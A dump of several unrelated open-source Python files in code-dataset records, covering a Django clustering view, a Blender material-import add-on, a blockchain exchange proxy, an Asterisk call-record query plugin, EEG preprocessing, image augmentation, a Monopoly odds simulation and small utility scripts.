str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n\n\nfrom django.db.models import Aggregate, CharField\n\n\nclass GroupConcat(Aggregate):\n function = 'GROUP_CONCAT'\n template = '%(function)s(%(distinct)s%(expressions)s%(ordering)s%(separator)s)'\n\n def __init__(self, expression, distinct=False, ordering=None, separator=',', **extra):\n super(GroupConcat, self).__init__(\n expression,\n distinct='DISTINCT ' if distinct else '',\n ordering=' ORDER BY %s' % ordering if ordering is not None else '',\n separator=' SEPARATOR \"%s\"' % separator,\n output_field=CharField(),\n **extra\n )\n\n\n@api_view(['POST'])\ndef clusters_controller(request):\n \"\"\"\n 클러스터링 뷰를 실행시키는 컨트롤러\n :param request: request type (post)\n :return: http response\n \"\"\"\n if request.method == 'POST':\n\n try:\n # start thread\n thread = ClusterThread()\n thread.setDaemon(True)\n thread.start()\n\n return Response(\"clustering success\", status=status.HTTP_200_OK)\n\n except Exception as e:\n print('- clusters_controller POST error ' + str(datetime.now(tz=pytz.timezone('Asia/Seoul'))))\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n print(''.join('* ' + line for line in lines))\n return Response(\"clustering fail\", status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n\nclass ClusterThread(threading.Thread):\n def __init__(self):\n threading.Thread.__init__(self)\n\n def run(self):\n get_clustering()\n","sub_path":"cluster/views/clusters_views.py","file_name":"clusters_views.py","file_ext":"py","file_size_in_byte":49393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"529238157","text":"\nmaior = 0\nstrs = 0\ndef mais_populoso(dic):\n for i in dic:\n dicionariomunicipio = dic[i]\n for e in dicionariomunicipio:\n soma+= dicionariomunicipio[e]\n if soma>maior:\n maior = soma\n strs = i\n return i","sub_path":"backup/user_225/ch165_2020_06_11_21_54_41_255527.py","file_name":"ch165_2020_06_11_21_54_41_255527.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"43125843","text":"# Creates an option that should just be passed to GCC through setting CFLAGS\n# in the makefile.\nclass GccOption:\n\n def __init__(self, parser, *flags, **parser_options):\n\n \"\"\"Adds the option to the parser. Has the exact same signature as\n OptionParser.add_option except it takes one as the first argument.\"\"\"\n\n parser_option_action = \"action\"\n parser_option_dest = \"dest\"\n parser_option_default = \"default\"\n\n self.parser = parser\n self.flags = flags\n self.dest = parser_options[parser_option_dest]\n\n self.separator = parser_options.pop(\"separator\",\"\")\n\n # Default to empty list if no default is specified\n if not parser_option_default in parser_options:\n parser_options[parser_option_default] = []\n\n # Default to store if no action is specified\n if not parser_option_action in parser_options:\n parser_options[parser_option_action] = \"store\"\n\n parser.add_argument(*flags, **parser_options)\n\n def get_cflags_str(self, options):\n \"\"\"Takes the options returned by OptionParser.parse_args() and returns\n a string of flags to be added to CFLAGS. These flags are the same\n flags passed to this python script.\"\"\"\n\n value = options.__dict__[self.dest]\n\n if value == None:\n return \"\"\n\n # If just a plain flag, add it if it's true\n if value == True:\n return self.flags[0]\n\n # Otherwise, don't add it.\n if value == False:\n return \"\"\n\n def add_escapes(my_str, single_escape, double_escape):\n \"\"\" Return string that has escape char (\\) added before any\n\t\t\tcharacter in single_escape and double escape before any character\n\t\t\tin double_escape.\"\"\"\n unique_symbols = set(single_escape)\n fixed_str = my_str\n for sym in unique_symbols:\n fixed_str = fixed_str.replace(str(sym), '\\\\' + str(sym))\n unique_symbols = set(double_escape)\n for sym in unique_symbols:\n fixed_str = fixed_str.replace(str(sym), '\\\\\\\\' + str(sym))\n return fixed_str\n\n if isinstance(value, str):\n return self.flags[0] + self.separator + add_escapes(value,\"'<>\",'\"')\n\n # If the flag can be specified multiple times, add them all.\n if isinstance(value, list):\n return \" \".join([self.flags[0] + self.separator + add_escapes(v,\"'<>\",'\"') for v in value if v])\n\n raise \"Unknown type?: \" + value\n\n","sub_path":"bin/GccOption.py","file_name":"GccOption.py","file_ext":"py","file_size_in_byte":2527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"539302507","text":"# Copyright (c) 2019 Elie Michel\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the “Software”), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# The Software is provided “as is”, without warranty of any kind, express or\n# implied, including but not limited to the warranties of merchantability,\n# fitness for a particular purpose and noninfringement. In no event shall\n# the authors or copyright holders be liable for any claim, damages or other\n# liability, whether in an action of contract, tort or otherwise, arising from,\n# out of or in connection with the software or the use or other dealings in the\n# Software.\n#\n# This file is part of LilySurfaceScrapper, a Blender add-on to import materials\n# from a single URL\n\nimport os\nimport bpy\nfrom .CyclesMaterialData import CyclesMaterialData\nfrom .CyclesWorldData import CyclesWorldData\nfrom .callback import register_callback, get_callback\n\n## Operators\n\n# I really wish there would be a cleaner way to do so: I need to prompt twice\n# the user (once for the URL, then for the variant, loaded from the URL) so I\n# end up with two bpy operators but they need to share custom info, not\n# sharable through regular properties. SO it is shared through this global\ninternal_states = {}\n\nclass PopupOperator(bpy.types.Operator):\n bl_options = {'REGISTER', 'UNDO'}\n \n @classmethod\n def poll(cls, context):\n return context.active_object is not None\n\n def invoke(self, context, event):\n wm = context.window_manager\n return wm.invoke_props_dialog(self)\n\nclass CallbackProps:\n callback_handle: bpy.props.IntProperty(\n name=\"Callback Handle\",\n description=(\n \"Handle to a callback to call once the operator is done.\" +\n \"Use LilySurfaceScrapper.register_callback(cb) to get such a handle.\"\n ),\n options={'HIDDEN', 'SKIP_SAVE'},\n default=-1\n )\n\n\n### Material\n\nclass OBJECT_OT_LilySurfaceScrapper(PopupOperator, CallbackProps):\n \"\"\"Import a material just by typing its URL. See documentation for a list of supported material providers.\"\"\"\n bl_idname = \"object.lily_surface_import\"\n bl_label = \"Import Surface\"\n \n url: bpy.props.StringProperty(\n name=\"URL\",\n description=\"Address from which importing the material\",\n default=\"\"\n )\n\n create_material: bpy.props.BoolProperty(\n name=\"Create Material\",\n description=(\n \"Create the material associated with downloaded maps. \" +\n \"You most likely want this, but for integration into other tool \" +\n \"you may want to set it to false and handle the material creation by yourself.\"\n ),\n options={'HIDDEN', 'SKIP_SAVE'},\n default=True\n )\n\n def execute(self, context):\n if bpy.data.filepath == '':\n self.report({'ERROR'}, 'You must save the file before using LilySurfaceScrapper')\n return {'CANCELLED'}\n\n texdir = os.path.dirname(bpy.data.filepath)\n data = CyclesMaterialData(self.url, texture_root=texdir)\n if data.error is not None:\n self.report({'ERROR_INVALID_INPUT'}, data.error)\n return {'CANCELLED'}\n \n variants = data.getVariantList()\n if variants and len(variants) > 1:\n # More than one variant, prompt the user for which one she wants\n internal_states['skjhnvjkbg'] = data\n bpy.ops.object.lily_surface_prompt_variant('INVOKE_DEFAULT',\n internal_state='skjhnvjkbg',\n create_material=self.create_material,\n callback_handle=self.callback_handle)\n else:\n data.selectVariant(0)\n if self.create_material:\n mat = data.createMaterial()\n context.object.active_material = mat\n else:\n data.loadImages()\n cb = get_callback(self.callback_handle)\n cb(context)\n return {'FINISHED'}\n \n\ndef list_variant_enum(self, context):\n \"\"\"Callback filling enum items for OBJECT_OT_LilySurfacePromptVariant\"\"\"\n global internal_states\n data = internal_states[self.internal_state]\n items = []\n for i, v in enumerate(data.getVariantList()):\n items.append((str(i), v, v))\n internal_states['kbjfknvglvhn'] = items # keep a reference to avoid a known crash of blander, says the doc\n return items\n\nclass OBJECT_OT_LilySurfacePromptVariant(PopupOperator, CallbackProps):\n \"\"\"While importing a material, prompt the user for teh texture variant\n if there are several materials provided by the URL\"\"\"\n bl_idname = \"object.lily_surface_prompt_variant\"\n bl_label = \"Select Variant\"\n \n variant: bpy.props.EnumProperty(\n name=\"Variant\",\n description=\"Name of the material variant to load\",\n items=list_variant_enum,\n )\n \n internal_state: bpy.props.StringProperty(\n name=\"Internal State\",\n description=\"System property used to transfer the state of the operator\",\n options={'HIDDEN', 'SKIP_SAVE'},\n update=lambda self, ctx: self.variant\n )\n\n create_material: bpy.props.BoolProperty(\n name=\"Create Material\",\n description=(\n \"Create the material associated with downloaded maps. \" +\n \"You most likely want this, but for integration into other tool \" +\n \"you may want to set it to false and handle the material creation by yourself.\"\n ),\n options={'HIDDEN', 'SKIP_SAVE'},\n default=True\n )\n\n def execute(self, context):\n data = internal_states[self.internal_state]\n data.selectVariant(int(self.variant))\n if self.create_material:\n mat = data.createMaterial()\n context.object.active_material = mat\n else:\n data.loadImages()\n cb = get_callback(self.callback_handle)\n cb(context)\n return {'FINISHED'}\n\n### World\n\nclass OBJECT_OT_LilyWorldScrapper(PopupOperator, CallbackProps):\n \"\"\"Import a world just by typing its URL. See documentation for a list of supported world providers.\"\"\"\n bl_idname = \"object.lily_world_import\"\n bl_label = \"Import World\"\n \n url: bpy.props.StringProperty(\n name=\"URL\",\n description=\"Address from which importing the world\",\n default=\"\"\n )\n\n create_world: bpy.props.BoolProperty(\n name=\"Create World\",\n description=(\n \"Create the world associated with downloaded maps. \" +\n \"You most likely want this, but for integration into other tool \" +\n \"you may want to set it to false and handle the world creation by yourself.\"\n ),\n options={'HIDDEN', 'SKIP_SAVE'},\n default=True\n )\n\n def execute(self, context):\n if bpy.data.filepath == '':\n self.report({'ERROR'}, 'You must save the file before using LilySurfaceScrapper')\n return {'CANCELLED'}\n\n texdir = os.path.dirname(bpy.data.filepath)\n data = CyclesWorldData(self.url, texture_root=texdir)\n if data.error is not None:\n self.report({'ERROR_INVALID_INPUT'}, data.error)\n return {'CANCELLED'}\n \n variants = data.getVariantList()\n if variants and len(variants) > 1:\n # More than one variant, prompt the user for which one she wants\n internal_states['zeilult'] = data\n bpy.ops.object.lily_world_prompt_variant('INVOKE_DEFAULT',\n internal_state='zeilult',\n create_world=self.create_world,\n callback_handle=self.callback_handle)\n else:\n data.selectVariant(0)\n if self.create_world:\n world = data.createWorld()\n context.scene.world = world\n else:\n data.loadImages()\n cb = get_callback(self.callback_handle)\n cb(context)\n return {'FINISHED'}\n \n\ndef list_variant_enum(self, context):\n \"\"\"Callback filling enum items for OBJECT_OT_LilySurfacePromptVariant\"\"\"\n global internal_states\n data = internal_states[self.internal_state]\n items = []\n for i, v in enumerate(data.getVariantList()):\n items.append((str(i), v, v))\n internal_states['kbjfknvglvhn'] = items # keep a reference to avoid a known crash of blander, says the doc\n return items\n\nclass OBJECT_OT_LilyWorldPromptVariant(PopupOperator, CallbackProps):\n \"\"\"While importing a world, prompt the user for teh texture variant\n if there are several worlds provided by the URL\"\"\"\n bl_idname = \"object.lily_world_prompt_variant\"\n bl_label = \"Select Variant\"\n \n variant: bpy.props.EnumProperty(\n name=\"Variant\",\n description=\"Name of the world variant to load\",\n items=list_variant_enum,\n )\n \n internal_state: bpy.props.StringProperty(\n name=\"Internal State\",\n description=\"System property used to transfer the state of the operator\",\n options={'HIDDEN', 'SKIP_SAVE'},\n update=lambda self, ctx: self.variant\n )\n\n create_world: bpy.props.BoolProperty(\n name=\"Create World\",\n description=(\n \"Create the world associated with downloaded maps. \" +\n \"You most likely want this, but for integration into other tool \" +\n \"you may want to set it to false and handle the world creation by yourself.\"\n ),\n options={'HIDDEN', 'SKIP_SAVE'},\n default=True\n )\n\n def execute(self, context):\n data = internal_states[self.internal_state]\n data.selectVariant(int(self.variant))\n if self.create_world:\n world = data.createWorld()\n context.scene.world = world\n else:\n data.loadImages()\n cb = get_callback(self.callback_handle)\n cb(context)\n return {'FINISHED'}\n\n\n## Panels\n\nclass MATERIAL_PT_LilySurfaceScrapper(bpy.types.Panel):\n \"\"\"Panel with the Lily Scrapper button\"\"\"\n bl_label = \"Lily Surface Scrapper\"\n bl_idname = \"MATERIAL_PT_LilySurfaceScrapper\"\n bl_space_type = 'PROPERTIES'\n bl_region_type = 'WINDOW'\n bl_context = \"material\"\n\n def draw(self, context):\n layout = self.layout\n row = layout.row()\n if bpy.data.filepath == '':\n row.label(text=\"You must save the file to use Lily Surface Scrapper\")\n else:\n row.operator(\"object.lily_surface_import\")\n\nclass WORLD_PT_LilySurfaceScrapper(bpy.types.Panel):\n \"\"\"Panel with the Lily Scrapper button\"\"\"\n bl_label = \"Lily Surface Scrapper\"\n bl_idname = \"WORLD_PT_LilySurfaceScrapper\"\n bl_space_type = 'PROPERTIES'\n bl_region_type = 'WINDOW'\n bl_context = \"world\"\n\n def draw(self, context):\n layout = self.layout\n row = layout.row()\n if bpy.data.filepath == '':\n row.label(text=\"You must save the file to use Lily Surface Scrapper\")\n else:\n row.operator(\"object.lily_world_import\")\n\n## Registration\n\ndef register():\n bpy.utils.register_class(OBJECT_OT_LilySurfaceScrapper)\n bpy.utils.register_class(OBJECT_OT_LilySurfacePromptVariant)\n bpy.utils.register_class(OBJECT_OT_LilyWorldScrapper)\n bpy.utils.register_class(OBJECT_OT_LilyWorldPromptVariant)\n bpy.utils.register_class(MATERIAL_PT_LilySurfaceScrapper)\n bpy.utils.register_class(WORLD_PT_LilySurfaceScrapper)\n\ndef unregister():\n bpy.utils.unregister_class(OBJECT_OT_LilySurfaceScrapper)\n bpy.utils.unregister_class(OBJECT_OT_LilySurfacePromptVariant)\n bpy.utils.unregister_class(OBJECT_OT_LilyWorldScrapper)\n bpy.utils.unregister_class(OBJECT_OT_LilyWorldPromptVariant)\n bpy.utils.unregister_class(MATERIAL_PT_LilySurfaceScrapper)\n bpy.utils.unregister_class(WORLD_PT_LilySurfaceScrapper)\n","sub_path":"blender/LilySurfaceScrapper/frontend.py","file_name":"frontend.py","file_ext":"py","file_size_in_byte":12230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"503705261","text":"import functools\nimport itertools\nimport logging\nfrom typing import List\n\nimport relay.concurrency_utils as concurrency_utils\nfrom relay.blockchain.events import BlockchainEvent\nfrom relay.exchange.order import Order\n\nfrom .exchange_events import (\n ExchangeEvent,\n LogCancelEventType,\n LogFillEventType,\n event_builders,\n from_to_types,\n standard_event_types,\n)\nfrom .proxy import Proxy, sorted_events\n\nlogger = logging.getLogger(\"token\")\n\n\nclass ExchangeProxy(Proxy):\n\n event_builders = event_builders\n event_types = list(event_builders.keys())\n standard_event_types = standard_event_types\n\n def __init__(\n self, web3, exchange_abi, token_abi, address: str, address_oracle\n ) -> None:\n super().__init__(web3, exchange_abi, address)\n self._token_abi = token_abi\n self._address_oracle = address_oracle\n\n def validate(self, order: Order) -> bool:\n return (\n order.exchange_address == self.address\n and self.validate_funds(order)\n and self.validate_filled_amount(order)\n )\n\n def validate_funds(self, order: Order) -> bool:\n if self._is_currency_network(order.maker_token):\n return True\n else:\n maker_token = self._token_contract(address=order.maker_token)\n return maker_token.functions.balanceOf(\n order.maker_address\n ).call() >= order.maker_token_amount and (\n self._is_trusted_token(order.maker_token)\n or maker_token.functions.allowance(\n order.maker_address, self.address\n ).call()\n >= order.maker_token_amount\n )\n\n def validate_filled_amount(self, order: Order) -> bool:\n return (\n self._proxy.functions.getUnavailableTakerTokenAmount(order.hash()).call()\n < order.taker_token_amount\n )\n\n def get_filled_amount(self, order: Order) -> int:\n return self._proxy.functions.filled(order.hash()).call()\n\n def get_cancelled_amount(self, order: Order) -> int:\n return self._proxy.functions.cancelled(order.hash()).call()\n\n def get_unavailable_amount(self, order: Order) -> int:\n return self._proxy.functions.getUnavailableTakerTokenAmount(order.hash()).call()\n\n def start_listen_on_fill(self, f) -> None:\n def log(log_entry):\n f(\n log_entry[\"args\"][\"orderHash\"],\n log_entry[\"args\"][\"filledMakerTokenAmount\"],\n log_entry[\"args\"][\"filledTakerTokenAmount\"],\n )\n\n self.start_listen_on(LogFillEventType, log)\n\n def start_listen_on_cancel(self, f) -> None:\n def log(log_entry):\n f(\n log_entry[\"args\"][\"orderHash\"],\n log_entry[\"args\"][\"cancelledMakerTokenAmount\"],\n log_entry[\"args\"][\"cancelledTakerTokenAmount\"],\n )\n\n self.start_listen_on(LogCancelEventType, log)\n\n def get_exchange_events(\n self,\n event_name: str,\n user_address: str = None,\n from_block: int = 0,\n timeout: float = None,\n ) -> List[BlockchainEvent]:\n logger.debug(\n \"get_exchange_events: event_name=%s user_address=%s from_block=%s\",\n event_name,\n user_address,\n from_block,\n )\n if user_address is None:\n queries = [\n functools.partial(self.get_events, event_name, from_block=from_block)\n ]\n events = concurrency_utils.joinall(queries, timeout=timeout)\n else:\n filter1 = {from_to_types[event_name][0]: user_address}\n # filter2 = {from_to_types[event_name][1]: user_address}\n\n queries = [\n functools.partial(self.get_events, event_name, filter1, from_block)\n ]\n # TODO taker attribute of LogFill is not indexed in contract yet\n # if event_name == LogFillEventType:\n # queries.append(functools.partial(self.get_events, event_name, filter2, from_block))\n results = concurrency_utils.joinall(queries, timeout=timeout)\n\n events = list(itertools.chain.from_iterable(results))\n\n for event in events:\n if isinstance(event, ExchangeEvent):\n event.user = user_address\n else:\n raise ValueError(\"Expected a ExchangeEvent\")\n return sorted_events(events)\n\n def get_all_exchange_events(\n self, user_address: str = None, from_block: int = 0, timeout: float = None\n ) -> List[BlockchainEvent]:\n queries = [\n functools.partial(\n self.get_exchange_events,\n type,\n user_address=user_address,\n from_block=from_block,\n )\n for type in self.standard_event_types\n ]\n results = concurrency_utils.joinall(queries, timeout=timeout)\n return sorted_events(list(itertools.chain.from_iterable(results)))\n\n def _is_currency_network(self, token_address: str) -> bool:\n return self._address_oracle.is_currency_network(token_address)\n\n def _is_trusted_token(self, token_address: str) -> bool:\n return self._address_oracle.is_trusted_token(token_address)\n\n def _token_contract(self, address: str):\n return self._web3.eth.contract(abi=self._token_abi, address=address)\n\n\nclass DummyExchangeProxy:\n def __init__(self, exchange_address: str) -> None:\n self.address = exchange_address\n\n def validate(self, order: Order) -> bool:\n return True\n\n def validate_funds(self, order: Order) -> bool:\n return True\n\n def validate_filled_amount(self, order: Order) -> bool:\n return True\n\n def get_filled_amount(self, order: Order) -> int:\n return 0\n\n def start_listen_on_fill(self, f) -> None:\n pass\n\n def start_listen_on_cancel(self, f) -> None:\n pass\n","sub_path":"relay/blockchain/exchange_proxy.py","file_name":"exchange_proxy.py","file_ext":"py","file_size_in_byte":5970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"39001680","text":"\"\"\"Query an Asterisk sqlite3 CDR database.\"\"\"\n\nimport sqlite3\nfrom typing import List\nfrom typing import Tuple\nimport cherrypy\nfrom . import mixins\n\n\nclass Plugin(cherrypy.process.plugins.SimplePlugin, mixins.Sqlite):\n \"\"\"A CherryPy plugin for querying an Asterisk CDR database.\"\"\"\n\n def __init__(self, bus: cherrypy.process.wspbus.Bus) -> None:\n cherrypy.process.plugins.SimplePlugin.__init__(self, bus)\n\n self.db_path = self._path(\"asterisk_cdr.sqlite\")\n\n def start(self) -> None:\n \"\"\"Define the CherryPy messages to listen for.\n\n This plugin owns the cdr prefix.\n \"\"\"\n self.bus.subscribe(\"cdr:timeline\", self.timeline)\n self.bus.subscribe(\"cdr:history\", self.history)\n\n def timeline(\n self,\n src_exclude: Tuple[str, ...] = (),\n dst_exclude: Tuple[str, ...] = (),\n offset: int = 0,\n limit: int = 50\n ) -> Tuple[List[sqlite3.Row], int]:\n \"\"\"Get a list of calls in reverse-chronological order.\"\"\"\n\n reversed_values = [str(offset), str(limit)]\n dst_filter = \"\"\n src_filter = \"\"\n\n if dst_exclude:\n exclusions = \",\".join(\"?\" * len(dst_exclude))\n dst_filter = f\"AND dst NOT IN ({exclusions})\"\n reversed_values.extend(dst_exclude)\n\n if src_exclude:\n exclusions = \",\".join(\"?\" * len(src_exclude))\n src_filter = f\"AND src NOT IN ({exclusions})\"\n reversed_values.extend(src_exclude)\n\n sql = f\"\"\"\n SELECT calldate as \"date [timestamp]\", end as\n \"end_date [timestamp]\",\n CASE LENGTH(src)\n WHEN 3 THEN \"outgoing\"\n ELSE \"incoming\"\n END AS direction,\n duration AS \"duration [duration]\",\n clid AS \"clid [clid]\",\n src, dst\n FROM cdr\n WHERE 1=1 {src_filter} {dst_filter}\n ORDER BY calldate DESC\n LIMIT ? OFFSET ?\"\"\"\n\n return (\n self._select(sql, tuple(reversed(reversed_values))),\n self._count(sql, tuple(reversed(reversed_values))),\n )\n\n def history(\n self,\n number: str,\n limit: int = 50\n ) -> Tuple[List[sqlite3.Row], int]:\n \"\"\"An abbreviated version of log() for a single number.\n\n Puts more emphasis on whether a call was placed or received.\n\n \"\"\"\n\n sql = \"\"\"\n SELECT calldate as \"date [timestamp]\",\n CASE LENGTH(src)\n WHEN 3 THEN \"outgoing\"\n ELSE \"incoming\"\n END AS direction,\n duration as \"duration [duration]\", clid as \"clid [clid]\"\n FROM cdr\n WHERE src LIKE ? OR dst LIKE ?\n ORDER BY calldate DESC\n LIMIT ?\n \"\"\"\n\n wildcard_number = f\"%{number}\"\n\n return (\n self._select(sql, (wildcard_number, wildcard_number, limit)),\n self._count(sql, (wildcard_number, wildcard_number, limit))\n )\n","sub_path":"plugins/cdr.py","file_name":"cdr.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"8777567","text":"#conda create -n deepeeg\n#source activate deepeeg\n#chomd +x install.sh\n#bash install.sh\n#!git clone https://github.com/kylemath/eeg-notebooks\n#python\nfrom utils import *\ndata_dir = '/Users/kylemathewson/Desktop/data/'\nexp = 'P3'\nsubs = ['001','002','004','005','006','007','008','010']\n#subs = [ '002']\n\nsessions = ['ActiveDry','ActiveWet','PassiveWet']\nepochs = []\nfor isesh, session in enumerate(sessions):\n\tevent_id = {(session + '/Target'): 1, (session + '/Standard'): 2}\n\tfor sub in subs:\n\t\tprint('Loading data for subject ' + sub)\n\t\t#Load Data\n\t\traw = LoadBVData(sub,session,data_dir,exp)\n\t\t#Pre-Process EEG Data\n\t\ttemp_epochs = PreProcess(raw,event_id,\n\t\t\t\t\t\t\temcp=True, rereference=True,\n\t\t\t\t\t\t\tplot_erp=False, rej_thresh_uV=250, \n\t\t\t\t\t\t\tepoch_time=(-1,2), baseline=(-1,-.5) )\n\t\tif len(temp_epochs) > 0:\n\t\t\tepochs.append(temp_epochs)\n\t\telse:\n\t\t\tprint('Sub ' + sub + ', Cond ' \n\t\t\t\t\t+ session + 'all trials rejected')\n\n\n\nprint(epochs)\nepochs = concatenate_epochs(epochs)\t\nprint(epochs)\n\n\n\n\n","sub_path":"newP3_exampleBV.py","file_name":"newP3_exampleBV.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"419495130","text":"import sys\nimport Augmentor\n\nfolder_name = 'folder'\n\n# create a pipeline object pointing to directory on system\np = Augmentor.Pipeline(source_directory=folder_name, save_format=\"png\")\n\n# various transformations to images and probability of doing them\np.flip_left_right(probability=0.5)\np.black_and_white(probability=0.1)\np.gaussian_distortion(probability=0.4, grid_width=7, grid_height=6, magnitude=6, corner=\"ul\", method=\"in\",\n mex=0.5, mey=0.5, sdx=0.05, sdy=0.05)\n\np.rotate(probability=0.3, max_left_rotation=10, max_right_rotation=10)\np.skew(probability=0.4, magnitude=0.5)\np.skew_tilt(probability=0.5, magnitude=0.8)\np.skew_left_right(probability=0.5, magnitude=0.8)\n\n# how many images we want in the end\np.sample(10000)\n","sub_path":"Model/augment_images.py","file_name":"augment_images.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"548058642","text":"#!/usr/bin/env python3\n\n\"\"\"Problem 84: Monopoly odds\"\"\"\n\nfrom heapq import nlargest\nfrom random import choice, shuffle\n\n\nclass Dice:\n \"\"\"Represents a pair of dice\"\"\"\n def __init__(self, sides=6):\n self.sides = sides\n self.rolls = [(i, j) for i in range(1, sides + 1)\n for j in range(1, sides + 1)]\n\n def roll(self):\n return choice(self.rolls)\n\n\nclass Deck:\n \"\"\"Represents a deck of Chance or Community Chest cards\"\"\"\n def __init__(self, size=16):\n self.size = size\n cards = list(range(size))\n shuffle(cards)\n self.cards = cards\n self.index = -1\n\n def draw(self):\n self.index = (self.index + 1) % self.size\n return self.cards[self.index]\n\n\ndef main():\n dice = Dice(sides=4)\n ch_deck = Deck()\n cc_deck = Deck()\n position = 0\n visits = [0]*40\n doubles = 0 # consecutive doubles\n\n for _ in range(1_000_000):\n roll = dice.roll()\n\n if roll[0] == roll[1]:\n if doubles == 2:\n doubles = 0\n position = 10\n visits[10] += 1\n continue\n doubles += 1\n else:\n doubles = 0\n\n score = roll[0] + roll[1]\n position = (position + score) % 40\n\n if position in (7, 22, 36): # CH[123]\n card = ch_deck.draw()\n\n if card == 0: # \"Advance to GO\"\n position = 0\n elif card == 1: # \"Go to JAIL\"\n position = 10\n elif card == 2: # \"Go to C1\"\n position = 11\n elif card == 3: # \"Go to E3\"\n position = 24\n elif card == 4: # \"Go to H2\"\n position = 39\n elif card == 5: # \"Go to R1\"\n position = 5\n elif card == 6 or card == 7: # \"Go to next R\" (there're two of these)\n if position == 7:\n position = 15\n elif position == 22:\n position = 25\n else:\n position = 5\n elif card == 8: # \"Go to next U\":\n if position == 22:\n position = 28\n else:\n position = 12\n elif card == 9: # \"Go back 3 squares\":\n position -= 3\n\n # CC should be checked after CH to allow for moving back 3 from CH3\n if position in (2, 17, 33): # CC[123]\n card = cc_deck.draw()\n\n if card == 0: # \"Advance to GO\":\n position = 0\n elif card == 1: # \"Go to JAIL\":\n position = 10\n elif position == 30: # G2J\n position = 10\n\n visits[position] += 1\n\n return '{:02d}{:02d}{:02d}'.format(*nlargest(3, range(len(visits)),\n key=visits.__getitem__))\n\n\nif __name__ == '__main__':\n print(main())\n","sub_path":"python/p084.py","file_name":"p084.py","file_ext":"py","file_size_in_byte":2928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"186248626","text":"import subprocess\nimport os\nfrom jinja2 import Template\n\nFCHOSTSDIR = '/sys/class/fc_host'\n\ndef print_hba(hba_info):\n template = \"\"\"\n {{ '-'*40 }}\n {% for hba in hba_info %}\n {{ hba.symbolic_name }}\n {% for p in hba.ports %}\n - {{ p.name }} {{ p.state }}\n {% endfor %}\n {% endfor %}\n \"\"\"\n print(\n Template(template).render(hba_info=hba_info)\n )\n\ndef collect_hba_info(ports_info):\n hba_info = list()\n for p in ports_info:\n maybe_new = True\n for h in hba_info:\n if h['symbolic_name'] == p['symbolic_name']:\n h['ports'].append({\n 'name': p['port_name'],\n 'state': p['port_state']\n })\n maybe_new = False\n break\n if maybe_new:\n hba_info.append(\n {\n 'symbolic_name': p['symbolic_name'],\n 'ports': [\n {\n 'name': p['port_name'],\n 'state': p['port_state']\n }\n ]\n }\n )\n return hba_info\n\ndef collect_hba_port_info(port_dir):\n result = dict()\n collections = [\n 'port_name',\n 'port_state',\n 'symbolic_name'\n ]\n for c in collections:\n with open(os.path.join(port_dir, c), 'r') as info:\n try:\n result.update(\n {\n c: info.read().strip()\n }\n )\n except FileNotFoundError as e:\n print(e)\n return result\n\n\ndef main():\n if not os.path.exists(FCHOSTSDIR):\n print('No FC HBA be found.')\n return False\n\n ports_info = list()\n\n fc_hosts = [\n f for f in os.listdir(FCHOSTSDIR) if f.startswith('host')\n ]\n\n for hba_port in fc_hosts:\n ports_info.append(\n collect_hba_port_info(os.path.join(FCHOSTSDIR, hba_port))\n )\n\n print_hba(collect_hba_info(ports_info))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"show_wwpns.py","file_name":"show_wwpns.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"88398082","text":"# Basic conditions\na = 5\nb = 5\n\n\"\"\"\n# Equal to\nif ( a == b ): print(\"true!\")\n\n# Not equal to\nif ( a != b ): print(\"false!\")\n\n# Less than & Less or equal than\nif ( a < b ): print(\"false!\")\nif ( a <= b ): print(\"true!\")\n\n# Greater than & Greater or equal than\nif ( a > b ): print(\"false!\")\nif ( a >= b ): print(\"true!\")\n\n# And / Or\n\n# Requires one of both conndition to be True\nif (a == b or a < b): print(\"true!\")\n\n# Requires both conndition to be True\nif (a == b and a < b): print(\"false!\")\n\"\"\"\n\n\n\n# Practice\n# -------------------------------------\n\nc = 2\nd = 5\ne = 8\n\nif c == d:\n print(\"A\")\n if d > c:\n print(\"B\")\n else:\n print(\"C\")\nelif e >= d:\n print(\"D\")\n if c < e:\n print(\"F\")\n else:\n print(\"G\")\nelse:\n print(\"E\")\n\n# What should be expected the result?\n# ...","sub_path":"PYTHON/CHALLENGES/tricond.py","file_name":"tricond.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"236247245","text":"#! /usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# __author__ = \"Q1mi\"\r\n# Email: master@liwenzhou.com\r\n\r\n\"\"\"\r\n生成层级评论树的模块\r\n\"\"\"\r\nfrom bbs.bll import datetime_handler\r\nfrom collections import OrderedDict\r\n\r\n\r\ndef tree_search(comment_dic, comment_obj):\r\n\t\"\"\"\r\n\t递归生成评论树\r\n\t:param comment_dic: 目标字典\r\n\t:param comment_obj: 评论对象\r\n\t:return:\r\n\t\"\"\"\r\n\tif not comment_obj.parent_comment: # 